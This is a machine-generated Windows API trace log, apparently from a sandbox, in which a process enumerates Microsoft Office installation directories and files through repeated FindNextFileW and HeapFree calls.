	[0171.157] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4004f78 | out: hHeap=0x710000) returned 1
	[0171.157] FindNextFileW (in: hFindFile=0x76f3a8, lpFindFileData=0x2faee10 | out: lpFindFileData=0x2faee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x197a4903, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1983d259, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1983d259, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="groove.net", cAlternateFileName="")) returned 0
	[0171.157] FindClose (in: hFindFile=0x76f3a8 | out: hFindFile=0x76f3a8) returned 1
	[0171.157] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4161fa8 | out: hHeap=0x710000) returned 1
	[0171.157] FindNextFileW (in: hFindFile=0x76f268, lpFindFileData=0x2faf08c | out: lpFindFileData=0x2faf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf073ddf4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x86a6c5d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x86a6c5d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ToolIcons", cAlternateFileName="TOOLIC~1")) returned 1
	[0171.159] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4161fa8 | out: hHeap=0x710000) returned 1
	[0171.159] FindNextFileW (in: hFindFile=0x76f268, lpFindFileData=0x2faf08c | out: lpFindFileData=0x2faf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf073ddf4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x86a6c5d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x86a6c5d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ToolIcons", cAlternateFileName="TOOLIC~1")) returned 0
	[0171.159] FindClose (in: hFindFile=0x76f268 | out: hFindFile=0x76f268) returned 1
	[0171.380] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4034f90 | out: hHeap=0x710000) returned 1
	[0171.382] FindNextFileW (in: hFindFile=0x76eb28, lpFindFileData=0x2faf308 | out: lpFindFileData=0x2faf308*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcdd36584, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xdf403dbb, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xdf58154c, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xf370c0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="GROOVE.EXE", cAlternateFileName="")) returned 1
	[0172.046] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4161fa8 | out: hHeap=0x710000) returned 1
	[0172.046] FindNextFileW (in: hFindFile=0x76f4e8, lpFindFileData=0x2faf08c | out: lpFindFileData=0x2faf08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x19889710, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x19889710, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x198afa29, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x5fbe0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="EUROTOOL.XLAM", cAlternateFileName="EUROTO~1.XLA")) returned 1
	[0172.047] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4161fa8 | out: hHeap=0x710000) returned 1
	[0172.047] FindNextFileW (in: hFindFile=0x76f4e8, lpFindFileData=0x2faf08c | out: lpFindFileData=0x2faf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf41a796b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf41a796b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xafa146a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SOLVER", cAlternateFileName="")) returned 0
	[0172.047] FindClose (in: hFindFile=0x76f4e8 | out: hFindFile=0x76f4e8) returned 1
	[0172.047] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4034f90 | out: hHeap=0x710000) returned 1
	[0172.047] FindNextFileW (in: hFindFile=0x76eb28, lpFindFileData=0x2faf308 | out: lpFindFileData=0x2faf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeda173cc, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1b27715c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1b27715c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="LogoImages", cAlternateFileName="LOGOIM~1")) returned 1
	[0172.098] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4034f90 | out: hHeap=0x710000) returned 1
	[0172.098] FindNextFileW (in: hFindFile=0x76eb28, lpFindFileData=0x2faf308 | out: lpFindFileData=0x2faf308*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcc7c11d2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xdd0d91a6, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xde4d0d64, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x1979a48, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="lync.exe", cAlternateFileName="")) returned 1
	[0172.102] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4034f90 | out: hHeap=0x710000) returned 1
	[0172.102] FindNextFileW (in: hFindFile=0x76eb28, lpFindFileData=0x2faf308 | out: lpFindFileData=0x2faf308*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeda3d618, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeda3d618, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x38b7c4a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x14c48, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="MeetingJoinAxOC.dll", cAlternateFileName="MEETIN~1.DLL")) returned 1
	[0172.104] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4161fa8 | out: hHeap=0x710000) returned 1
	[0172.104] FindNextFileW (in: hFindFile=0x76f4e8, lpFindFileData=0x2faf08c | out: lpFindFileData=0x2faf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6dea551, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6dea551, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6dea551, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="bg", cAlternateFileName="")) returned 1
	[0172.104] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4161fa8 | out: hHeap=0x710000) returned 1
	[0172.104] FindNextFileW (in: hFindFile=0x76f4e8, lpFindFileData=0x2faf08c | out: lpFindFileData=0x2faf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x56853a0, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x56853a0, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x56853a0, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ca", cAlternateFileName="")) returned 1
	[0172.104] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4161fa8 | out: hHeap=0x710000) returned 1
	[0172.104] FindNextFileW (in: hFindFile=0x76f4e8, lpFindFileData=0x2faf08c | out: lpFindFileData=0x2faf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf803d796, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf803d796, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf803d796, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="cs", cAlternateFileName="")) returned 1
	[0172.104] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4161fa8 | out: hHeap=0x710000) returned 1
	[0172.104] FindNextFileW (in: hFindFile=0x76f4e8, lpFindFileData=0x2faf08c | out: lpFindFileData=0x2faf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6165f55, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6165f55, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6165f55, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="da", cAlternateFileName="")) returned 1
	[0172.104] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4161fa8 | out: hHeap=0x710000) returned 1
	[0172.104] FindNextFileW (in: hFindFile=0x76f4e8, lpFindFileData=0x2faf08c | out: lpFindFileData=0x2faf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6224b6a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6224b6a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6224b6a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="de", cAlternateFileName="")) returned 1
	[0172.105] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4161fa8 | out: hHeap=0x710000) returned 1
	[0172.105] FindNextFileW (in: hFindFile=0x76f4e8, lpFindFileData=0x2faf08c | out: lpFindFileData=0x2faf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeff0bc27, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeff0bc27, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xeff31e88, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="el", cAlternateFileName="")) returned 1
	[0172.105] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4161fa8 | out: hHeap=0x710000) returned 1
	[0172.105] FindNextFileW (in: hFindFile=0x76f4e8, lpFindFileData=0x2faf08c | out: lpFindFileData=0x2faf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf5a3de35, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf5a3de35, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf5a3de35, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="en-us", cAlternateFileName="")) returned 1
	[0172.105] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4161fa8 | out: hHeap=0x710000) returned 1
	[0172.105] FindNextFileW (in: hFindFile=0x76f4e8, lpFindFileData=0x2faf08c | out: lpFindFileData=0x2faf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfcb7dd00, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfcb7dd00, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfcb7dd00, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="es", cAlternateFileName="")) returned 1
	[0172.105] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4161fa8 | out: hHeap=0x710000) returned 1
	[0172.105] FindNextFileW (in: hFindFile=0x76f4e8, lpFindFileData=0x2faf08c | out: lpFindFileData=0x2faf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7fd9ab, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x7fd9ab, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x7fd9ab, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="et", cAlternateFileName="")) returned 1
	[0172.105] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4161fa8 | out: hHeap=0x710000) returned 1
	[0172.105] FindNextFileW (in: hFindFile=0x76f4e8, lpFindFileData=0x2faf08c | out: lpFindFileData=0x2faf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x37869c8, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x37869c8, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x37869c8, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="eu", cAlternateFileName="")) returned 1
	[0172.106] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4161fa8 | out: hHeap=0x710000) returned 1
	[0172.106] FindNextFileW (in: hFindFile=0x76f4e8, lpFindFileData=0x2faf08c | out: lpFindFileData=0x2faf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfc53b9f9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc53b9f9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc53b9f9, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="fi", cAlternateFileName="")) returned 1
	[0172.106] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4161fa8 | out: hHeap=0x710000) returned 1
	[0172.106] FindNextFileW (in: hFindFile=0x76f4e8, lpFindFileData=0x2faf08c | out: lpFindFileData=0x2faf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7fd9ab, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x7fd9ab, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x7fd9ab, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="fr", cAlternateFileName="")) returned 1
	[0172.106] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4161fa8 | out: hHeap=0x710000) returned 1
	[0172.106] FindNextFileW (in: hFindFile=0x76f4e8, lpFindFileData=0x2faf08c | out: lpFindFileData=0x2faf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa178468, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa178468, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfa178468, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="gl", cAlternateFileName="")) returned 1
	[0172.106] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4161fa8 | out: hHeap=0x710000) returned 1
	[0172.106] FindNextFileW (in: hFindFile=0x76f4e8, lpFindFileData=0x2faf08c | out: lpFindFileData=0x2faf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf618b1a4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf618b1a4, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf618b1a4, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="he", cAlternateFileName="")) returned 1
	[0172.106] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4161fa8 | out: hHeap=0x710000) returned 1
	[0172.106] FindNextFileW (in: hFindFile=0x76f4e8, lpFindFileData=0x2faf08c | out: lpFindFileData=0x2faf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x56853a0, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x56853a0, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x56853a0, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="hi", cAlternateFileName="")) returned 1
	[0172.107] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4161fa8 | out: hHeap=0x710000) returned 1
	[0172.107] FindNextFileW (in: hFindFile=0x76f4e8, lpFindFileData=0x2faf08c | out: lpFindFileData=0x2faf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf480feb5, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf480feb5, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf480feb5, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="hr", cAlternateFileName="")) returned 1
	[0172.107] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4161fa8 | out: hHeap=0x710000) returned 1
	[0172.107] FindNextFileW (in: hFindFile=0x76f4e8, lpFindFileData=0x2faf08c | out: lpFindFileData=0x2faf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf4646280, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf4646280, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf4646280, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="hu", cAlternateFileName="")) returned 1
	[0172.107] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4161fa8 | out: hHeap=0x710000) returned 1
	[0172.107] FindNextFileW (in: hFindFile=0x76f4e8, lpFindFileData=0x2faf08c | out: lpFindFileData=0x2faf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x63a229e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x63a229e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x63a229e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="id", cAlternateFileName="")) returned 1
	[0172.107] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4161fa8 | out: hHeap=0x710000) returned 1
	[0172.107] FindNextFileW (in: hFindFile=0x76f4e8, lpFindFileData=0x2faf08c | out: lpFindFileData=0x2faf08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x18ae17b, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x18ae17b, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x18ae17b, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x10fcc8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ipcsecproc.dll", cAlternateFileName="IPCSEC~1.DLL")) returned 1
	[0172.107] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4161fa8 | out: hHeap=0x710000) returned 1
	[0172.107] FindNextFileW (in: hFindFile=0x76f4e8, lpFindFileData=0x2faf08c | out: lpFindFileData=0x2faf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6aef645, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6aef645, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6aef645, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ja", cAlternateFileName="")) returned 1
	[0172.108] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4161fa8 | out: hHeap=0x710000) returned 1
	[0172.108] FindNextFileW (in: hFindFile=0x76f4e8, lpFindFileData=0x2faf08c | out: lpFindFileData=0x2faf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6781ff8, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6781ff8, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x67a8250, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="kk", cAlternateFileName="")) returned 1
	[0172.108] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4161fa8 | out: hHeap=0x710000) returned 1
	[0172.108] FindNextFileW (in: hFindFile=0x76f4e8, lpFindFileData=0x2faf08c | out: lpFindFileData=0x2faf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5f9c329, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x5f9c329, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5f9c329, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ko", cAlternateFileName="")) returned 1
	[0172.108] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4161fa8 | out: hHeap=0x710000) returned 1
	[0172.108] FindNextFileW (in: hFindFile=0x76f4e8, lpFindFileData=0x2faf08c | out: lpFindFileData=0x2faf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1bce2f5, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1bce2f5, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1bf45a7, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="lt", cAlternateFileName="")) returned 1
	[0172.108] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4161fa8 | out: hHeap=0x710000) returned 1
	[0172.108] FindNextFileW (in: hFindFile=0x76f4e8, lpFindFileData=0x2faf08c | out: lpFindFileData=0x2faf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf13037fa, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf13037fa, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf13037fa, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="lv", cAlternateFileName="")) returned 1
	[0172.108] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4161fa8 | out: hHeap=0x710000) returned 1
	[0172.108] FindNextFileW (in: hFindFile=0x76f4e8, lpFindFileData=0x2faf08c | out: lpFindFileData=0x2faf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfc21a8ad, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc21a8ad, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc21a8ad, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ms", cAlternateFileName="")) returned 1
	[0172.109] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4161fa8 | out: hHeap=0x710000) returned 1
	[0172.109] FindNextFileW (in: hFindFile=0x76f4e8, lpFindFileData=0x2faf08c | out: lpFindFileData=0x2faf08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf0dcc568, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf0dcc568, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x1b3ce622, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1f9f00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="msipc.dll", cAlternateFileName="")) returned 1
	[0172.109] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4161fa8 | out: hHeap=0x710000) returned 1
	[0172.109] FindNextFileW (in: hFindFile=0x76f4e8, lpFindFileData=0x2faf08c | out: lpFindFileData=0x2faf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xffe01c35, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xffe01c35, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xffe01c35, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="no", cAlternateFileName="")) returned 1
	[0172.109] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4161fa8 | out: hHeap=0x710000) returned 1
	[0172.109] FindNextFileW (in: hFindFile=0x76f4e8, lpFindFileData=0x2faf08c | out: lpFindFileData=0x2faf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x68ff786, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x68ff786, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x69259a9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="pl", cAlternateFileName="")) returned 1
	[0172.109] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4161fa8 | out: hHeap=0x710000) returned 1
	[0172.109] FindNextFileW (in: hFindFile=0x76f4e8, lpFindFileData=0x2faf08c | out: lpFindFileData=0x2faf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfc2b31ff, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc2b31ff, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc2b31ff, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="pt", cAlternateFileName="")) returned 1
	[0172.109] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4161fa8 | out: hHeap=0x710000) returned 1
